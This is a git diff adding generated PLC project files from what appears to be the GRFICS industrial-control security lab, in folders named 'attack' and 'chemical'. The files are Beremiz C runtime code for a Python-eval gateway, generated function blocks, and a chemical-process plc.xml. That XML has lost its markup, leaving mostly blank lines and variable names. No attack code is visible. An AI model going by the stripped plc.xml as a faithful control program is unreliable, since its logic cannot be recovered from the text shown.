buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + 